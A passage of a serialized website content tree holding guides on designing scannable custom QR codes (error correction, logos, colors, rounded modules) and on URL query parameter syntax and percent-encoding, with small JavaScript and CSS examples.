60px;\"",[1560,171381,124341],{"class":1570},[1560,171383,171384,171386,171388],{"class":1562,"line":1710},[1560,171385,12331],{"class":1570},[1560,171387,7291],{"class":2484},[1560,171389,6441],{"class":1570},[1560,171391,171392,171394,171396],{"class":1562,"line":1717},[1560,171393,11242],{"class":1570},[1560,171395,7291],{"class":2484},[1560,171397,6441],{"class":1570},[11,171399,171401],{"id":171400},"finder-patterns-do-not-modify","Finder Patterns: Do Not Modify",[16,171403,171404],{},"The three large squares in the corners are finder patterns. Scanners use them to locate and orient the QR code. Never modify, recolor, or overlay these patterns. Any change to finder patterns dramatically decreases scan reliability.",[135,171406,171409],{"className":171407,"code":171408,"language":140},[138],"┌─────┐           ┌─────┐\n│ ▪▪▪ │           │ ▪▪▪ │\n│ ▪ ▪ │   ...     │ ▪ ▪ │\n│ ▪▪▪ │           │ ▪▪▪ │\n└─────┘           └─────┘\n\n                ┌─────┐\n                │ ▪▪▪ │\n                │ ▪ ▪ │   ← These three corner\n                │ ▪▪▪ │     patterns must stay intact\n                └─────┘\n",[143,171410,171408],{"__ignoreMap":141},[11,171412,171414],{"id":171413},"testing-your-custom-qr-code","Testing Your Custom QR Code",[193,171416,171417,171425],{},[196,171418,171419],{},[199,171420,171421,171423],{},[202,171422,148474],{},[202,171424,82130],{},[211,171426,171427,171435,171443,171451,171459],{},[199,171428,171429,171432],{},[216,171430,171431],{},"Multiple devices",[216,171433,171434],{},"iPhone Camera, Android Google Lens, Samsung Camera",[199,171436,171437,171440],{},[216,171438,171439],{},"Different lighting",[216,171441,171442],{},"Bright, dim, glare conditions",[199,171444,171445,171448],{},[216,171446,171447],{},"Various distances",[216,171449,171450],{},"Close, arm's length, far",[199,171452,171453,171456],{},[216,171454,171455],{},"Print and screen",[216,171457,171458],{},"Test both printed and digital versions",[199,171460,171461,171464],{},[216,171462,171463],{},"Damaged simulation",[216,171465,171466],{},"Slightly smudge part of the code and re-scan",[16,171468,171469],{},"If your custom code fails any test, reduce the logo size or simplify the colors and try again.",[11,171471,1355],{"id":1354},[41,171473,171474,171477,171480,171483,171486,171489],{},[44,171475,171476],{},"Use error correction level H (30%) when adding logos or significant color changes",[44,171478,171479],{},"Maintain at least 4.5:1 contrast ratio between foreground and background",[44,171481,171482],{},"Never modify the finder patterns in the three corners",[44,171484,171485],{},"Logo should cover no more than 20-30% of the QR code area",[44,171487,171488],{},"Always add a white background behind the logo for clean boundaries",[44,171490,171491],{},"Test with multiple devices, lighting conditions, and distances",[11,171493,286],{"id":285},[16,171495,171496,171497,171500],{},"Create custom QR codes with colors and logos using our free ",[98,171498,171499],{"href":95695},"QR Code Generator",". Choose error correction level, customize foreground and background colors, and download in PNG or SVG — all processing happens locally in your browser.",[16,171502,171503],{},[98,171504,171505],{"href":95695},"Try the QR Code Generator →",[2043,171507,171508],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":171510},[171511,171512,171513,171519,171524,171525,171526,171527],{"id":171015,"depth":337,"text":171016},{"id":171025,"depth":337,"text":171026},{"id":171099,"depth":337,"text":171100,"children":171514},[171515,171516,171517,171518],{"id":171103,"depth":343,"text":171104},{"id":171187,"depth":343,"text":171188},{"id":109254,"depth":343,"text":171202},{"id":97928,"depth":343,"text":97929},{"id":171236,"depth":337,"text":171237,"children":171520},[171521,171522,171523],{"id":171240,"depth":343,"text":171241},{"id":171258,"depth":343,"text":171259},{"id":171279,"depth":343,"text":171280},{"id":171400,"depth":337,"text":171401},{"id":171413,"depth":337,"text":171414},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Learn how to customize QR code design with colors and logos without breaking scannability. Understand error correction, contrast, and safe zones.",{"immutable":363},"\u002Fguides\u002Fqr-code-design-colors-logos",{"title":171010,"description":171528},"guides\u002Fqr-code-design-colors-logos","4UpM9cRpehCPu_T2xN_t3Dedptgy5fnY29-lTYzWCcU",{"id":171535,"title":171536,"body":171537,"date":2070,"description":172378,"extension":361,"meta":172379,"navigation":363,"path":172380,"readingTime":1710,"seo":172381,"stem":172382,"__hash__":172383},"guides\u002Fguides\u002Fqr-code-design-customization.md","QR Code Design and Customization",{"type":8,"value":171538,"toc":172371},[171539,171542,171546,171549,171614,171617,171621,171624,171833,171836,171850,171854,171857,171860,171961,171964,171967,172059,172063,172066,172069,172080,172338,172341,172343,172346,172360,172363,172369],[16,171540,171541],{},"A standard QR code is a black-and-white grid of square modules — functional but visually unappealing. Custom QR codes with brand colors, rounded corners, and embedded logos perform better on packaging, business cards, and marketing materials. The challenge is balancing visual customization with reliable scanning. Push the design too far and scanners fail to read the code at all.",[11,171543,171545],{"id":171544},"understanding-qr-code-tolerance","Understanding QR Code Tolerance",[16,171547,171548],{},"QR codes include built-in error correction — redundant data that allows the code to be read even when partially damaged or obscured. There are four error correction levels:",[193,171550,171551,171565],{},[196,171552,171553],{},[199,171554,171555,171557,171560,171563],{},[202,171556,3291],{},[202,171558,171559],{},"Error Correction",[202,171561,171562],{},"Data Capacity Impact",[202,171564,1775],{},[211,171566,171567,171579,171590,171602],{},[199,171568,171569,171571,171573,171576],{},[216,171570,171051],{},[216,171572,165924],{},[216,171574,171575],{},"Highest capacity",[216,171577,171578],{},"Minimal customization",[199,171580,171581,171583,171585,171587],{},[216,171582,171063],{},[216,171584,171066],{},[216,171586,15457],{},[216,171588,171589],{},"Small logos, color changes",[199,171591,171592,171594,171596,171599],{},[216,171593,171076],{},[216,171595,21008],{},[216,171597,171598],{},"Lower capacity",[216,171600,171601],{},"Medium logos, rounded modules",[199,171603,171604,171606,171608,171611],{},[216,171605,171088],{},[216,171607,2173],{},[216,171609,171610],{},"Lowest capacity",[216,171612,171613],{},"Large logos, heavy customization",[16,171615,171616],{},"When you embed a logo or apply aggressive visual changes, you are effectively \"damaging\" part of the QR code. The error correction level determines how much damage the code can sustain. Always use at least level Q when adding a centered logo, and level H for large logos or extensive styling.",[11,171618,171620],{"id":171619},"adding-a-logo-to-the-center","Adding a Logo to the Center",[16,171622,171623],{},"The center of a QR code is the safest place for a logo because it contains the least structural data. The three finder patterns — the large squares in the corners — are what scanners lock onto first. Never obscure these.",[135,171625,171627],{"className":1607,"code":171626,"language":1609,"meta":141,"style":141},"function embedLogo(qrCanvas, logoImage, maxLogoRatio = 0.25) {\n  const ctx = qrCanvas.getContext('2d')\n  const qrSize = qrCanvas.width\n\n  \u002F\u002F Calculate logo size (max 25% of QR width for H-level)\n  const logoSize = qrSize * maxLogoRatio\n  const logoX = (qrSize - logoSize) \u002F 2\n  const logoY = (qrSize - logoSize) \u002F 2\n\n  \u002F\u002F Draw white background behind logo for contrast\n  ctx.fillStyle = '#ffffff'\n  ctx.fillRect(logoX - 4, logoY - 4, logoSize + 8, logoSize + 8)\n\n  \u002F\u002F Draw the logo\n  ctx.drawImage(logoImage, logoX, logoY, logoSize, logoSize)\n}\n",[143,171628,171629,171658,171677,171689,171693,171698,171715,171737,171756,171760,171765,171775,171811,171815,171820,171829],{"__ignoreMap":141},[1560,171630,171631,171633,171636,171638,171641,171643,171646,171648,171651,171653,171656],{"class":1562,"line":1563},[1560,171632,8648],{"class":1669},[1560,171634,171635],{"class":1566}," embedLogo",[1560,171637,1688],{"class":1570},[1560,171639,171640],{"class":2219},"qrCanvas",[1560,171642,1459],{"class":1570},[1560,171644,171645],{"class":2219},"logoImage",[1560,171647,1459],{"class":1570},[1560,171649,171650],{"class":2219},"maxLogoRatio",[1560,171652,8186],{"class":1669},[1560,171654,171655],{"class":1576}," 0.25",[1560,171657,9345],{"class":1570},[1560,171659,171660,171662,171664,171666,171669,171671,171673,171675],{"class":1562,"line":337},[1560,171661,28057],{"class":1669},[1560,171663,100165],{"class":1576},[1560,171665,8186],{"class":1669},[1560,171667,171668],{"class":1570}," qrCanvas.",[1560,171670,100173],{"class":1566},[1560,171672,1688],{"class":1570},[1560,171674,100178],{"class":5634},[1560,171676,8252],{"class":1570},[1560,171678,171679,171681,171684,171686],{"class":1562,"line":343},[1560,171680,28057],{"class":1669},[1560,171682,171683],{"class":1576}," qrSize",[1560,171685,8186],{"class":1669},[1560,171687,171688],{"class":1570}," qrCanvas.width\n",[1560,171690,171691],{"class":1562,"line":365},[1560,171692,1702],{"emptyLinePlaceholder":363},[1560,171694,171695],{"class":1562,"line":889},[1560,171696,171697],{"class":1649},"  \u002F\u002F Calculate logo size (max 25% of QR width for H-level)\n",[1560,171699,171700,171702,171705,171707,171710,171712],{"class":1562,"line":1710},[1560,171701,28057],{"class":1669},[1560,171703,171704],{"class":1576}," logoSize",[1560,171706,8186],{"class":1669},[1560,171708,171709],{"class":1570}," qrSize ",[1560,171711,8069],{"class":1669},[1560,171713,171714],{"class":1570}," maxLogoRatio\n",[1560,171716,171717,171719,171722,171724,171727,171729,171732,171734],{"class":1562,"line":1717},[1560,171718,28057],{"class":1669},[1560,171720,171721],{"class":1576}," logoX",[1560,171723,8186],{"class":1669},[1560,171725,171726],{"class":1570}," (qrSize ",[1560,171728,9412],{"class":1669},[1560,171730,171731],{"class":1570}," logoSize) ",[1560,171733,9423],{"class":1669},[1560,171735,171736],{"class":1576}," 2\n",[1560,171738,171739,171741,171744,171746,171748,171750,171752,171754],{"class":1562,"line":1747},[1560,171740,28057],{"class":1669},[1560,171742,171743],{"class":1576}," logoY",[1560,171745,8186],{"class":1669},[1560,171747,171726],{"class":1570},[1560,171749,9412],{"class":1669},[1560,171751,171731],{"class":1570},[1560,171753,9423],{"class":1669},[1560,171755,171736],{"class":1576},[1560,171757,171758],{"class":1562,"line":2507},[1560,171759,1702],{"emptyLinePlaceholder":363},[1560,171761,171762],{"class":1562,"line":2524},[1560,171763,171764],{"class":1649},"  \u002F\u002F Draw white background behind logo for contrast\n",[1560,171766,171767,171770,171772],{"class":1562,"line":2529},[1560,171768,171769],{"class":1570},"  ctx.fillStyle ",[1560,171771,7297],{"class":1669},[1560,171773,171774],{"class":5634}," '#ffffff'\n",[1560,171776,171777,171779,171782,171785,171787,171789,171792,171794,171796,171799,171801,171803,171805,171807,171809],{"class":1562,"line":2534},[1560,171778,100207],{"class":1570},[1560,171780,171781],{"class":1566},"fillRect",[1560,171783,171784],{"class":1570},"(logoX ",[1560,171786,9412],{"class":1669},[1560,171788,13574],{"class":1576},[1560,171790,171791],{"class":1570},", logoY ",[1560,171793,9412],{"class":1669},[1560,171795,13574],{"class":1576},[1560,171797,171798],{"class":1570},", logoSize ",[1560,171800,9448],{"class":1669},[1560,171802,13490],{"class":1576},[1560,171804,171798],{"class":1570},[1560,171806,9448],{"class":1669},[1560,171808,13490],{"class":1576},[1560,171810,8252],{"class":1570},[1560,171812,171813],{"class":1562,"line":2542},[1560,171814,1702],{"emptyLinePlaceholder":363},[1560,171816,171817],{"class":1562,"line":2558},[1560,171818,171819],{"class":1649},"  \u002F\u002F Draw the logo\n",[1560,171821,171822,171824,171826],{"class":1562,"line":2570},[1560,171823,100207],{"class":1570},[1560,171825,100210],{"class":1566},[1560,171827,171828],{"class":1570},"(logoImage, logoX, logoY, logoSize, logoSize)\n",[1560,171830,171831],{"class":1562,"line":6638},[1560,171832,1585],{"class":1570},[16,171834,171835],{},"Rules for logo placement:",[41,171837,171838,171841,171844,171847],{},[44,171839,171840],{},"Keep the logo under 25% of the QR code width at error correction level H (30% when using level H with caution)",[44,171842,171843],{},"Always add a white border (quiet zone) of at least 4 module widths around the logo",[44,171845,171846],{},"Never rotate the logo or make it partially transparent",[44,171848,171849],{},"Test the result with multiple scanner apps — not just your phone's default camera",[11,171851,171853],{"id":171852},"changing-colors-safely","Changing Colors Safely",[16,171855,171856],{},"QR scanners rely on contrast between foreground modules and the background. You can change colors as long as the foreground is significantly darker than the background.",[16,171858,171859],{},"Safe color combinations:",[193,171861,171862,171877],{},[196,171863,171864],{},[199,171865,171866,171869,171871,171874],{},[202,171867,171868],{},"Foreground",[202,171870,3432],{},[202,171872,171873],{},"Contrast Ratio",[202,171875,171876],{},"Scannable",[211,171878,171879,171890,171902,171915,171928,171939,171951],{},[199,171880,171881,171883,171885,171887],{},[216,171882,28541],{},[216,171884,30083],{},[216,171886,4007],{},[216,171888,171889],{},"Always",[199,171891,171892,171895,171897,171900],{},[216,171893,171894],{},"Dark blue",[216,171896,30083],{},[216,171898,171899],{},"15:1",[216,171901,171889],{},[199,171903,171904,171907,171909,171912],{},[216,171905,171906],{},"Dark green",[216,171908,30083],{},[216,171910,171911],{},"10:1",[216,171913,171914],{},"Usually",[199,171916,171917,171920,171923,171926],{},[216,171918,171919],{},"Navy",[216,171921,171922],{},"Light gray",[216,171924,171925],{},"8:1",[216,171927,171914],{},[199,171929,171930,171932,171934,171937],{},[216,171931,113755],{},[216,171933,30083],{},[216,171935,171936],{},"4:1",[216,171938,151456],{},[199,171940,171941,171944,171946,171949],{},[216,171942,171943],{},"Light blue",[216,171945,30083],{},[216,171947,171948],{},"2:1",[216,171950,6117],{},[199,171952,171953,171955,171957,171959],{},[216,171954,29281],{},[216,171956,30083],{},[216,171958,3986],{},[216,171960,6117],{},[16,171962,171963],{},"A contrast ratio of at least 4.5:1 (WCAG AA for normal text) is a reasonable minimum threshold. Below that, some scanners — especially older or budget phone cameras — will fail.",[16,171965,171966],{},"Gradients are possible but risky. Radial gradients that stay within the dark range work better than linear gradients that transition from dark to light across the code. If you use a gradient, test extensively.",[135,171968,171970],{"className":1554,"code":171969,"language":1556,"meta":141,"style":141},"\u002F* Safe: dark-to-dark gradient *\u002F\n.qr-foreground {\n  background: linear-gradient(135deg, #1a1a2e, #16213e);\n}\n\n\u002F* Unsafe: dark-to-light gradient *\u002F\n.qr-foreground-risky {\n  background: linear-gradient(135deg, #000000, #aaaaaa);\n}\n",[143,171971,171972,171977,171984,172010,172014,172018,172023,172030,172055],{"__ignoreMap":141},[1560,171973,171974],{"class":1562,"line":1563},[1560,171975,171976],{"class":1649},"\u002F* Safe: dark-to-dark gradient *\u002F\n",[1560,171978,171979,171982],{"class":1562,"line":337},[1560,171980,171981],{"class":1566},".qr-foreground",[1560,171983,1571],{"class":1570},[1560,171985,171986,171988,171990,171992,171994,171996,171998,172000,172003,172005,172008],{"class":1562,"line":343},[1560,171987,5665],{"class":1576},[1560,171989,1663],{"class":1570},[1560,171991,46356],{"class":1576},[1560,171993,1688],{"class":1570},[1560,171995,46361],{"class":1576},[1560,171997,1694],{"class":1669},[1560,171999,1459],{"class":1570},[1560,172001,172002],{"class":1576},"#1a1a2e",[1560,172004,1459],{"class":1570},[1560,172006,172007],{"class":1576},"#16213e",[1560,172009,1744],{"class":1570},[1560,172011,172012],{"class":1562,"line":365},[1560,172013,1585],{"class":1570},[1560,172015,172016],{"class":1562,"line":889},[1560,172017,1702],{"emptyLinePlaceholder":363},[1560,172019,172020],{"class":1562,"line":1710},[1560,172021,172022],{"class":1649},"\u002F* Unsafe: dark-to-light gradient *\u002F\n",[1560,172024,172025,172028],{"class":1562,"line":1717},[1560,172026,172027],{"class":1566},".qr-foreground-risky",[1560,172029,1571],{"class":1570},[1560,172031,172032,172034,172036,172038,172040,172042,172044,172046,172048,172050,172053],{"class":1562,"line":1747},[1560,172033,5665],{"class":1576},[1560,172035,1663],{"class":1570},[1560,172037,46356],{"class":1576},[1560,172039,1688],{"class":1570},[1560,172041,46361],{"class":1576},[1560,172043,1694],{"class":1669},[1560,172045,1459],{"class":1570},[1560,172047,4321],{"class":1576},[1560,172049,1459],{"class":1570},[1560,172051,172052],{"class":1576},"#aaaaaa",[1560,172054,1744],{"class":1570},[1560,172056,172057],{"class":1562,"line":2507},[1560,172058,1585],{"class":1570},[11,172060,172062],{"id":172061},"rounding-and-shaping-modules","Rounding and Shaping Modules",[16,172064,172065],{},"Rounded modules (dots instead of squares) are the most popular visual customization. The key constraint: the finder patterns must remain recognizable. Many scanners use the finder patterns as anchor points and cannot identify the code geometry if these are heavily modified.",[16,172067,172068],{},"Safe customization approach:",[77,172070,172071,172074,172077],{},[44,172072,172073],{},"Round the data modules (the interior squares) to circles or rounded rectangles",[44,172075,172076],{},"Keep the finder patterns as distinct squares or apply only mild rounding",[44,172078,172079],{},"Maintain the timing patterns (the alternating strips between finders) in their original form",[135,172081,172083],{"className":1607,"code":172082,"language":1609,"meta":141,"style":141},"function drawRoundedModule(ctx, x, y, size, radius) {\n  const r = size * radius  \u002F\u002F radius as fraction of module size\n  ctx.beginPath()\n  ctx.moveTo(x + r, y)\n  ctx.lineTo(x + size - r, y)\n  ctx.arcTo(x + size, y, x + size, y + r, r)\n  ctx.lineTo(x + size, y + size - r)\n  ctx.arcTo(x + size, y + size, x + size - r, y + size, r)\n  ctx.lineTo(x + r, y + size)\n  ctx.arcTo(x, y + size, x, y + size - r, r)\n  ctx.lineTo(x, y + r)\n  ctx.arcTo(x, y, x + r, y, r)\n  ctx.closePath()\n  ctx.fill()\n}\n",[143,172084,172085,172116,172135,172144,172159,172176,172200,172221,172252,172269,172291,172303,172317,172326,172334],{"__ignoreMap":141},[1560,172086,172087,172089,172092,172094,172097,172099,172101,172103,172105,172107,172109,172111,172114],{"class":1562,"line":1563},[1560,172088,8648],{"class":1669},[1560,172090,172091],{"class":1566}," drawRoundedModule",[1560,172093,1688],{"class":1570},[1560,172095,172096],{"class":2219},"ctx",[1560,172098,1459],{"class":1570},[1560,172100,24787],{"class":2219},[1560,172102,1459],{"class":1570},[1560,172104,164321],{"class":2219},[1560,172106,1459],{"class":1570},[1560,172108,77742],{"class":2219},[1560,172110,1459],{"class":1570},[1560,172112,172113],{"class":2219},"radius",[1560,172115,9345],{"class":1570},[1560,172117,172118,172120,172122,172124,172127,172129,172132],{"class":1562,"line":337},[1560,172119,28057],{"class":1669},[1560,172121,12313],{"class":1576},[1560,172123,8186],{"class":1669},[1560,172125,172126],{"class":1570}," size ",[1560,172128,8069],{"class":1669},[1560,172130,172131],{"class":1570}," radius  ",[1560,172133,172134],{"class":1649},"\u002F\u002F radius as fraction of module size\n",[1560,172136,172137,172139,172142],{"class":1562,"line":343},[1560,172138,100207],{"class":1570},[1560,172140,172141],{"class":1566},"beginPath",[1560,172143,27830],{"class":1570},[1560,172145,172146,172148,172151,172154,172156],{"class":1562,"line":365},[1560,172147,100207],{"class":1570},[1560,172149,172150],{"class":1566},"moveTo",[1560,172152,172153],{"class":1570},"(x ",[1560,172155,9448],{"class":1669},[1560,172157,172158],{"class":1570}," r, y)\n",[1560,172160,172161,172163,172166,172168,172170,172172,172174],{"class":1562,"line":889},[1560,172162,100207],{"class":1570},[1560,172164,172165],{"class":1566},"lineTo",[1560,172167,172153],{"class":1570},[1560,172169,9448],{"class":1669},[1560,172171,172126],{"class":1570},[1560,172173,9412],{"class":1669},[1560,172175,172158],{"class":1570},[1560,172177,172178,172180,172183,172185,172187,172190,172192,172195,172197],{"class":1562,"line":1710},[1560,172179,100207],{"class":1570},[1560,172181,172182],{"class":1566},"arcTo",[1560,172184,172153],{"class":1570},[1560,172186,9448],{"class":1669},[1560,172188,172189],{"class":1570}," size, y, x ",[1560,172191,9448],{"class":1669},[1560,172193,172194],{"class":1570}," size, y ",[1560,172196,9448],{"class":1669},[1560,172198,172199],{"class":1570}," r, r)\n",[1560,172201,172202,172204,172206,172208,172210,172212,172214,172216,172218],{"class":1562,"line":1717},[1560,172203,100207],{"class":1570},[1560,172205,172165],{"class":1566},[1560,172207,172153],{"class":1570},[1560,172209,9448],{"class":1669},[1560,172211,172194],{"class":1570},[1560,172213,9448],{"class":1669},[1560,172215,172126],{"class":1570},[1560,172217,9412],{"class":1669},[1560,172219,172220],{"class":1570}," r)\n",[1560,172222,172223,172225,172227,172229,172231,172233,172235,172238,172240,172242,172244,172247,172249],{"class":1562,"line":1747},[1560,172224,100207],{"class":1570},[1560,172226,172182],{"class":1566},[1560,172228,172153],{"class":1570},[1560,172230,9448],{"class":1669},[1560,172232,172194],{"class":1570},[1560,172234,9448],{"class":1669},[1560,172236,172237],{"class":1570}," size, x ",[1560,172239,9448],{"class":1669},[1560,172241,172126],{"class":1570},[1560,172243,9412],{"class":1669},[1560,172245,172246],{"class":1570}," r, y ",[1560,172248,9448],{"class":1669},[1560,172250,172251],{"class":1570}," size, r)\n",[1560,172253,172254,172256,172258,172260,172262,172264,172266],{"class":1562,"line":2507},[1560,172255,100207],{"class":1570},[1560,172257,172165],{"class":1566},[1560,172259,172153],{"class":1570},[1560,172261,9448],{"class":1669},[1560,172263,172246],{"class":1570},[1560,172265,9448],{"class":1669},[1560,172267,172268],{"class":1570}," size)\n",[1560,172270,172271,172273,172275,172278,172280,172283,172285,172287,172289],{"class":1562,"line":2524},[1560,172272,100207],{"class":1570},[1560,172274,172182],{"class":1566},[1560,172276,172277],{"class":1570},"(x, y ",[1560,172279,9448],{"class":1669},[1560,172281,172282],{"class":1570}," size, x, y ",[1560,172284,9448],{"class":1669},[1560,172286,172126],{"class":1570},[1560,172288,9412],{"class":1669},[1560,172290,172199],{"class":1570},[1560,172292,172293,172295,172297,172299,172301],{"class":1562,"line":2529},[1560,172294,100207],{"class":1570},[1560,172296,172165],{"class":1566},[1560,172298,172277],{"class":1570},[1560,172300,9448],{"class":1669},[1560,172302,172220],{"class":1570},[1560,172304,172305,172307,172309,172312,172314],{"class":1562,"line":2534},[1560,172306,100207],{"class":1570},[1560,172308,172182],{"class":1566},[1560,172310,172311],{"class":1570},"(x, y, x ",[1560,172313,9448],{"class":1669},[1560,172315,172316],{"class":1570}," r, y, r)\n",[1560,172318,172319,172321,172324],{"class":1562,"line":2542},[1560,172320,100207],{"class":1570},[1560,172322,172323],{"class":1566},"closePath",[1560,172325,27830],{"class":1570},[1560,172327,172328,172330,172332],{"class":1562,"line":2558},[1560,172329,100207],{"class":1570},[1560,172331,12614],{"class":1566},[1560,172333,27830],{"class":1570},[1560,172335,172336],{"class":1562,"line":2570},[1560,172337,1585],{"class":1570},[16,172339,172340],{},"A radius of 0.3–0.45 times the module size gives a pleasant rounded appearance while keeping modules distinct. Going above 0.5 makes modules nearly circular, which can cause adjacent dots to merge in dense regions.",[11,172342,171414],{"id":171413},[16,172344,172345],{},"Always test with real devices, not just desktop screen captures. Print your QR code at the intended size and scan it with:",[41,172347,172348,172351,172354,172357],{},[44,172349,172350],{},"iPhone default camera (iOS 15+)",[44,172352,172353],{},"Android Google Lens",[44,172355,172356],{},"A dedicated QR scanner app",[44,172358,172359],{},"A low-end phone camera (budget devices have less forgiving autofocus)",[16,172361,172362],{},"Test at the actual viewing distance — a QR code on a billboard needs larger modules than one on a business card. As a rough rule, the scanning distance in inches should be no more than 10 times the QR code width in inches.",[16,172364,172365,172366,172368],{},"Create customized, scannable QR codes with logos and colors using the generator at ",[98,172367,95695],{"href":95695},", which lets you adjust error correction levels and preview how design changes affect scannability.",[2043,172370,100852],{},{"title":141,"searchDepth":337,"depth":337,"links":172372},[172373,172374,172375,172376,172377],{"id":171544,"depth":337,"text":171545},{"id":171619,"depth":337,"text":171620},{"id":171852,"depth":337,"text":171853},{"id":172061,"depth":337,"text":172062},{"id":171413,"depth":337,"text":171414},"Add logos, change colors, and round modules while keeping QR codes scannable.",{},"\u002Fguides\u002Fqr-code-design-customization",{"title":171536,"description":172378},"guides\u002Fqr-code-design-customization","duBx4LHAcL2s0nDQPdfKGQdNRGhHuuUpopae2SbJPVE",{"id":172385,"title":172386,"body":172387,"date":2070,"description":173259,"extension":361,"meta":173260,"navigation":363,"path":102130,"readingTime":1710,"seo":173261,"stem":173262,"__hash__":173263},"guides\u002Fguides\u002Fquery-parameters-guide.md","Query Parameters Guide: Structure, Encoding, and Best Practices",{"type":8,"value":172388,"toc":173234},[172389,172393,172399,172405,172415,172419,172422,172459,172465,172469,172472,172569,172577,172580,172600,172643,172646,172649,172652,172705,172708,172712,172715,172768,172771,172794,172797,172801,172804,172808,172814,172858,172863,172872,172876,172882,172912,172917,172926,172929,172933,172936,173050,173058,173062,173066,173069,173075,173078,173082,173085,173091,173096,173098,173101,173151,173157,173159,173204,173206,173220,173222,173231],[11,172390,172392],{"id":172391},"what-are-query-parameters","What Are Query Parameters?",[16,172394,172395,172396,172398],{},"Query parameters are the key-value pairs appended to a URL after the ",[143,172397,33994],{}," character. They pass data from the client to the server — search terms, filters, page numbers, and tracking codes all travel in query strings.",[135,172400,172403],{"className":172401,"code":172402,"language":140},[138],"https:\u002F\u002Fexample.com\u002Fsearch?q=hello&lang=en&page=2\n                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n                     query string\n",[143,172404,172402],{"__ignoreMap":141},[16,172406,172407,172408,172411,172412,172414],{},"Each pair follows the format ",[143,172409,172410],{},"key=value",", separated by ",[143,172413,13530],{},". The server reads these parameters to generate the right response.",[11,172416,172418],{"id":172417},"syntax-rules","Syntax Rules",[16,172420,172421],{},"A query string has strict formatting rules:",[41,172423,172424,172430,172435,172440,172447],{},[44,172425,172426,172427,172429],{},"Starts with ",[143,172428,33994],{}," after the path",[44,172431,172432,172433],{},"Contains key-value pairs: ",[143,172434,172410],{},[44,172436,172437,172438],{},"Pairs separated by ",[143,172439,13530],{},[44,172441,172442,172443,172446],{},"Empty values are valid: ",[143,172444,172445],{},"key="," (value is an empty string)",[44,172448,172449,172450,172452,172453,172455,172456,172458],{},"Keys without ",[143,172451,7297],{}," are valid: ",[143,172454,39098],{}," (value is ",[143,172457,80702],{}," or empty, depending on the parser)",[135,172460,172463],{"className":172461,"code":172462,"language":140},[138],"?sort=price&order=asc&in_stock=\n ^^^^^^^^^ ^^^^^^^^^^ ^^^^^^^^^\n key=value  key=value  key=(empty)\n",[143,172464,172462],{"__ignoreMap":141},[11,172466,172468],{"id":172467},"encoding-rules","Encoding Rules",[16,172470,172471],{},"Not every character can appear raw in a query string. Reserved characters must be percent-encoded when used as data:",[193,172473,172474,172486],{},[196,172475,172476],{},[199,172477,172478,172480,172483],{},[202,172479,7809],{},[202,172481,172482],{},"Encoded",[202,172484,172485],{},"Why Encode?",[211,172487,172488,172501,172514,172528,172542,172555],{},[199,172489,172490,172492,172498],{},[216,172491,6093],{},[216,172493,172494,1531,172496],{},[143,172495,34150],{},[143,172497,9448],{},[216,172499,172500],{},"Spaces break URL parsing",[199,172502,172503,172507,172511],{},[216,172504,172505],{},[143,172506,13530],{},[216,172508,172509],{},[143,172510,84136],{},[216,172512,172513],{},"Separates parameters",[199,172515,172516,172520,172525],{},[216,172517,172518],{},[143,172519,7297],{},[216,172521,172522],{},[143,172523,172524],{},"%3D",[216,172526,172527],{},"Assigns values to keys",[199,172529,172530,172534,172539],{},[216,172531,172532],{},[143,172533,6852],{},[216,172535,172536],{},[143,172537,172538],{},"%23",[216,172540,172541],{},"Starts the fragment",[199,172543,172544,172548,172552],{},[216,172545,172546],{},[143,172547,17990],{},[216,172549,172550],{},[143,172551,33701],{},[216,172553,172554],{},"Starts an encoding",[199,172556,172557,172561,172566],{},[216,172558,172559],{},[143,172560,9448],{},[216,172562,172563],{},[143,172564,172565],{},"%2B",[216,172567,172568],{},"Interpreted as space in form encoding",[33,172570,172572,172573,23755,172575],{"id":172571},"space-encoding-20-vs","Space Encoding: ",[143,172574,34150],{},[143,172576,9448],{},[16,172578,172579],{},"The treatment of spaces causes frequent confusion:",[41,172581,172582,172589],{},[44,172583,172584,172588],{},[47,172585,172586],{},[143,172587,34150],{}," — standard percent-encoding per RFC 3986, valid everywhere in a URL",[44,172590,172591,172595,172596,172599],{},[47,172592,172593],{},[143,172594,9448],{}," — shorthand from ",[143,172597,172598],{},"application\u002Fx-www-form-urlencoded",", valid only in query strings",[135,172601,172603],{"className":1607,"code":172602,"language":1609,"meta":141,"style":141},"\u002F\u002F JavaScript behavior\nencodeURIComponent('hello world')  \u002F\u002F \"hello%20world\" — always %20\nnew URLSearchParams({ q: 'hello world' }).toString()  \u002F\u002F \"q=hello+world\" — uses +\n",[143,172604,172605,172610,172623],{"__ignoreMap":141},[1560,172606,172607],{"class":1562,"line":1563},[1560,172608,172609],{"class":1649},"\u002F\u002F JavaScript behavior\n",[1560,172611,172612,172614,172616,172618,172620],{"class":1562,"line":337},[1560,172613,33827],{"class":1566},[1560,172615,1688],{"class":1570},[1560,172617,34175],{"class":5634},[1560,172619,10060],{"class":1570},[1560,172621,172622],{"class":1649},"\u002F\u002F \"hello%20world\" — always 